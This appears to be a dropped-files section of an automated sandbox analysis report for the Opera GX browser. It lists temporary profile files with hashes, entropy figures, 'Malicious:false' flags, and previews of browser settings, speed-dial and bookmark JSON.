                                                                                                                                                                                                              Preview:// xf094qGtWEbHsnh32GS97mB00cGkoc0XARV9D/CRKx0=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":3}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":3}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":3}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":3}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":3}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":3}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":3}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":3}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\10a0b14e-0088-49d9-b90f-efa6d475a609.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (65536), with no line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):90779
                                                                                                                                                                                                              Entropy (8bit):5.597722543131121
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4330B2113F4350E6F2D82163F6AC20E6
                                                                                                                                                                                                              SHA1:347EC10055513FFEF50D7D743732965CA07032DF
                                                                                                                                                                                                              SHA-256:F5F8BECD60F0CA2FE95CCECC4628FB82299880E1D14045DE2F19C66DB7F82C6D
                                                                                                                                                                                                              SHA-512:65A73DE09CDF8A16841A0788244D783452CB525C63F0662BACBDF52728346D66CB3F582ED6BB7443584FC2CB49720E55413AD33A66F695B471734BCB20EC20F3
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"adblocker":{"whitelist_initialized":true,"whitelist_version":6},"bookmarks":{"partners":{"participating_user":true}},"extensions":{"opsettings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13373282049039505","from_webstore":false,"granted_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"incognito_content_settings":[],"incognito_preferences":{},"is_pending_third_party_install":false,"last_update_time":"13373282049039505","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\11f5ef08-8090-480b-ba0e-d9bd6cd089b5.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):561443
                                                                                                                                                                                                              Entropy (8bit):6.000891146862961
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:33A1C320574B2EF7EDEE3B880564C94D
                                                                                                                                                                                                              SHA1:812869656580E3CCF3A43AD03F0092065A758F19
                                                                                                                                                                                                              SHA-256:CF08CF38EC189BB42C16EE42BB8E4DC3E3F642130DE597A51AEC87DAB4A464A6
                                                                                                                                                                                                              SHA-512:D7345B17610A0E136D5EB66A530B8EA115DD9751760558981B7202680809298F0EFA48A464D09F4C664F22A8284D8BB32992818561D904A487D4FDB3B89C8BE4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"243193E47606238EFAC675469C9582BE2BAA9ED0BD4BEB6207EBDFE9BD06CAAF":"iVBORw0KGgoAAAANSUhEUgAAAQgAAACoCAYAAAAcnXClAADtVElEQVR4nIy9d4BmV13//zr3Pn367O5s7ym72fRCKkmAAAEEDCjyBQREmgUFAaWpKCpYERTEAiIIiEAIvScBQnpPdrO9t9mZnT7z1HvP7497yufcZzb+HsjO89x77imf8v6UU666tuczGgUAWoNSgM5+2+sEBexvjUKhtUYpZR7R2bP2OQ0olZUOytmb8qOy+t1PJdrzxZXKWnYNuXq1GIN/tmtMEJT39WZjQYXXsiLZWF1xLTrjBqyRVbo+SBKKomf8KBxdJS3yj7nfOhtJZMek/TO5DvmHtTY/xZizVrNrolzWtqFWF2/tc74vno5CRlxdtu+ir1LGBF2tzNihaDmuReQiu6UcryTPQAeskLwQo/N9zclGXp4trxeX55Aenu4h0wMe58eE+J1r015zNFGLlEeyR8pOKA/K0iXPUzHuKOCLLCSY2fXRWWftADUWY5QAEP+cdmPQpjFBLPlTGVqYQfnOKq+sVlI1oUCa9qLcs1GGKJ5RueEolTWqyZUx/dVWaez3QNK0/yvaULIPZjxSoXy7ghKinFVapVQANMoQIKCsVKZFeKcsUXO0d9+8NJtrOuCechRQpi1RpytnarM89oxytQbCa/kl+Iscs30ub7iUV2FHPMM/B/o5uUwNgNoyksdSST2oCLZieapEf23flR+bM1amVUNryztXp5B1Oz4lVUa2bWXBXnTyZSmuXBlLE2X6qMR/nt5+UEoOUhGOVwfNEMm+uQfsYLV4SiJc/m8egmyHJIFsMak5gvG2gDbPd1sY7RnseKRyAmkUWSCe8xRcf6wSSCvVxT1BjhywCHkJq7agYMTbCpJ2BTxtRL+8vPp7oSUQimIeCKxBwAfbX0FDq/DCg7Dfu5RB4rZVskCpdQ4

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\144fe2d1-eb1e-4d81-9a6b-03af68fc26b9.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.712044526376752
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7B1C17BA8693A6BB2821726BC3B142FB
                                                                                                                                                                                                              SHA1:2486ABE3D0E0C700262F6565926CA4620D11842C
                                                                                                                                                                                                              SHA-256:083A144A172F0EB0ACD102FEB39ECA97E8F9958225F09340CA3E96D8394A5968
                                                                                                                                                                                                              SHA-512:EFD4D4BFB8FC793557E3371C27AB1779738C2FA33013B7D127F149C5A416E558273B61D4481E8889E868CC38F0D7875BCD6BE7FA503FD856CCC4E119ED47EDB8
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// ZAF6HL21AcTfRWF66anxftjfTAPEoAOA4/UMs6BhRuU=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":3}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":4}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":3}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":3}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":3}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":4}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":4}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":3}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\166e2889-dc48-4349-81e0-570e32411c6a.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (846)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):894
                                                                                                                                                                                                              Entropy (8bit):5.688056941071821
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:C7E11F2F4BAF13CEEF691B5D1F03A7AB
                                                                                                                                                                                                              SHA1:3C99E3E83D22F140D7AE24809C4F3419DA44D777
                                                                                                                                                                                                              SHA-256:00E0EE4797657EB80F00B1ECB9AD62BD85F388C2E093818DBB17BF2FCC055834
                                                                                                                                                                                                              SHA-512:CAB7C6F1E75781F5C5CA36B21F148BF4B562960BFADB6E92B1918C26C15893642C3B9AABA29FFB346A4D321BE4B003084A4D0F6C31AAC0644AFE29F470C2F1BC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// fXDqt4qxz/unqz4xAHyeLkuw80TIryQYQfTQMcGHHdg=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":1}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":1}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":1}},"https://www.instant-gaming.com/":{"cA2lwEw6hf0i74WSE38/4rTXeogcnS5LPYA/62dOiPE=":{"Impression":1}},"https://www.twitch.tv/":{"Q8R0Kod6c9/H+i1tROyMeJm8kyTeZvYyChUrZvAjliY=":{"Impression":1}},"https://www.youtube.com/":{"Vr5ejLjQcpErr31xahnJSlXskHfMqZIa1pEIRlhJ35w=":{"Impression":1}}}}},"Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1,"StatSendingRequestsCount":1},"Process":{"Retries":1},"ScheduledTask":{"ScheduledTaskAlreadyRunning":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\17ac465c-4267-4b4c-a330-5f2e924fe502.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):20606
                                                                                                                                                                                                              Entropy (8bit):4.62106752416603
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:DFE456C7EBDE053095228DF7A9C1184B
                                                                                                                                                                                                              SHA1:E13CD091AA563E5D31CADE3F6241A909B6FE03E6
                                                                                                                                                                                                              SHA-256:353E8DFBB0DF44D03BEB101262409DAB4F6A00802A6C320BABC7510D92D9071C
                                                                                                                                                                                                              SHA-512:EBF59CA9A6B83777BB3DF3D21BBC313952874787A8B11A47E399B5633E42DC7188AD13D34491352A83E4C64A63DAEB2CEDDFF4E814914AD6BD92D63C110DAEC1
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{.. "checksum": "dfc92d1e8125749d178f26bfd972aa6a",.. "roots": {.. "bookmark_bar": {.. "children": [ ],.. "date_added": "13373282048091764",.. "date_last_used": "0",.. "date_modified": "0",.. "guid": "0bc5d13f-2cba-5d74-951f-3f233fe6c908",.. "id": "1",.. "name": "Bookmarks bar",.. "type": "folder".. },.. "custom_root": {.. "pinboard": {.. "children": [ ],.. "date_added": "13373282048092464",.. "date_last_used": "0",.. "date_modified": "0",.. "guid": "00000000-0000-4000-a000-000000000907",.. "id": "7",.. "name": "Pinboard",.. "type": "folder".. },.. "speedDial": {.. "children": [ {.. "children": [ {.. "date_added": "13373282056556243",.. "date_last_used": "0",.. "guid": "61d90d03-c8a5-47d7-b977-0cfeb2860342",..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\19b2a245-67ae-4796-9361-69babf545152.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (3335)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3383
                                                                                                                                                                                                              Entropy (8bit):4.9626992156489615
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:A28078B6239C227CA96311699AAD846D
                                                                                                                                                                                                              SHA1:1CBFA6CC1F88EEB33C53952AE7E1CD646755F7F8
                                                                                                                                                                                                              SHA-256:12D00CCE68626B7FCBA7B95AA8622665B8EFF918EB2B37503BF72CDE84A1371D
                                                                                                                                                                                                              SHA-512:5679400F54758BDDE9A608909485CEE9B856B84F3309D2804FFF71C278D3BA1A8ACE738CA552ABD4B4D23A64806306A38AA221E1D9FD7A394211D10FD8167542
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// NVxeKmjrOREIW5HSKCLEn1wPkKlS1J8KnaTpOMhnI+8=.{"ABTests":{"Tests":{"DNA-112027":"DNA-112027-gx-mission-widget-off","DNA-99214_GXCTest50":"GXCTest50-ref"}},"Extensions":{"ActiveExternalExtensionsInfo":{},"ActiveWebstoreExtensionsInfo":{},"BlacklistedExtensionsInfo":{},"CVBlockedExtensionsInfo":{},"TotalCount":0},"Features":{"RemotelyEnabled":["address-bar-dropdown-autocompleted-domains:disabled","address-bar-dropdown-unfiltered-full:disabled","amazon-new-ids","capital-one-cashback-protection","cashback-assistant","continue-on-booking","continue-on-shopping-via-amp:disabled","continue-shopping","continue-shopping-2","continue-shopping-5","continue-shopping-structured-partners","feature-remote-disable-updates-testing-flag:disabled","feature-remote-updates-testing-flag","game-servers:disabled","gx-post-mortem","gx-reactinator","gx-spotlight","gx-video-to-phone","lucid-mode-hide-text","panic-button","password-generator:disabled","play-again","realtime-impressions-reporting","run-at-startu

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\1ba61196-bad2-4ee0-8f23-7c673f0850d6.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.706214771103121
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:15193DA5A069C8A764BA6AEEF86A94C9
                                                                                                                                                                                                              SHA1:549B0F15A7DC3A06A8E6B4318EC0B5033EB52283
                                                                                                                                                                                                              SHA-256:D998C1CCFBF7A07EBE986EFFB2E4293BB4A6BABA7349504104BA4EDE9F51D7D4
                                                                                                                                                                                                              SHA-512:7CEC3FE7A92E68A42719C4C9DBD143B41669F844D410BBC6769D53F94B53AD0939C906E7C04E956738927F862273481E9EF6D6BD84D607C769E21B7E06D8CBB3
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// hFduX3BXSQB5gsAoBy6rKcwCtv5aNj1i65SI3uHUfgg=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":4}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":5}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":4}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":4}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":4}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":5}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":5}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":5}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\1e3cabe4-5ab9-4c83-9abd-2a12c1c1cef1.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.712432002113495
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:3C469F5E2C6C3C0EBF0FD601D15A358C
                                                                                                                                                                                                              SHA1:D5411E3255FAF28B1EA2B1AB200F890278B0AD96
                                                                                                                                                                                                              SHA-256:AC7273D09A0E395ED3852F9CB460571F48E94220ACE9655595B95A4E3D3DC8B7
                                                                                                                                                                                                              SHA-512:0E111EE2EEB67C530B938E8669D32F7297AAB5530A42C00993B556FDB0CD523319AACF46E3812F2982A6FC90050CBF0452BB1FBD66429D793473A011C2766327
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// YGLjQufe9yYp8j9ZnYPCfMWbgt6ZhXX5hvvN6/Ru0sc=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":3}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":3}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":3}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":3}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":3}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":3}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":4}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":3}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\1f9b6596-83c5-4324-a0fb-f7e4d003c137.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.7148806996069075
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:927CA2DDBA7181D363A1969C5238ABEA
                                                                                                                                                                                                              SHA1:58254E36AB444A90473DB517D637EF7AEAA2724A
                                                                                                                                                                                                              SHA-256:0D12B863149F467CEE6161C10F99792FD2C0727D4B4A515C9F0BD864ECA7072E
                                                                                                                                                                                                              SHA-512:05437368B182EB592D1477B47B8BCC7A2C874B6C23A73E4C900A7F4EFE995E921CC20E93EBD7F8D14C919C9ED2697D4997ED4866FD4262BE3D49FC449D777894
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// KNph+60/O1VbvcjznNIkhB7xR0m6DQW4QMlnVuqRDyY=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":4}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":4}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":4}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":4}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":4}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":4}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":4}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":4}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\2392e767-2d60-48f2-b49b-86f3d90d51e6.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1399)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1447
                                                                                                                                                                                                              Entropy (8bit):5.727497890484891
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:A6F241B1F5217AAB0FB627B68D8F0935
                                                                                                                                                                                                              SHA1:1D201584C0860A245D9499A94C613D92EF1CAF08
                                                                                                                                                                                                              SHA-256:33D126DC3504754F47F21B5CC430F8893508451777ACEB4BC7D240C259BFEB38
                                                                                                                                                                                                              SHA-512:F721AAF47A7496DFC5AAAB205A1D57C3B97138E3CBE8F2BE2285442F75DE922028FD041501911B04617382FAD0367BBBA6D43492D8C8F766B52777947FE23E07
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// LI6eVTS5m9anAtyER5CJaGNqdiO8LoIdjfnuL0v6L4s=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":3}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":3}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":3}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":3}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":3}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":3}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":3}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":3}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\23e0d96b-129e-45c2-b84f-3742bee07522.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1399)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1447
                                                                                                                                                                                                              Entropy (8bit):5.733977418110934
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:1F267F84DCA5E296EF230F4A2E04F164
                                                                                                                                                                                                              SHA1:735E03AB59AC0D0153EFF37591B102FA13BF8E45
                                                                                                                                                                                                              SHA-256:22F80858E339FF661F0C64F0ACF023872E15E261928C5FF415036365DC0E92CF
                                                                                                                                                                                                              SHA-512:01EC712740A88A29D94F63EA93B0F74FC045F8C2F4F0725D42FF810B2D58AAEDEB03FCEC4B348FCCDF5BD077C5AFCA69E38500C89AB78BDBC3CFFBA2AC586CDB
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// g1jJCsL9FSDCetbdOqyeNvZ97heOxJj+FIEqh49aeUA=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":3}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":3}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":3}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":3}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":3}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":3}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":3}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":3}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\2a876ea9-151e-4155-a2c6-6d506cdecba2.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (65536), with no line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):91295
                                                                                                                                                                                                              Entropy (8bit):5.595724486644915
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:B541CA9C93BF6A263CC53D058690E2DC
                                                                                                                                                                                                              SHA1:34A8AC3518335D494DD3A7891EFF78BE936D71B8
                                                                                                                                                                                                              SHA-256:9AE29CF02B7F8867FA18465E625D762261D1D8C32A391AE12F3D9EA2E09B4AAF
                                                                                                                                                                                                              SHA-512:45201EC6BB7EF152E4E32F1FF73ABB7407BBDFCDE3D29DD2316B9DA3CF6CA170F732C53E2369E6753E21FE4C81FCF49A5619277D52F20AC0BCDCC2F9501E7070
                                                                                                                                                                                                              Malicious:false
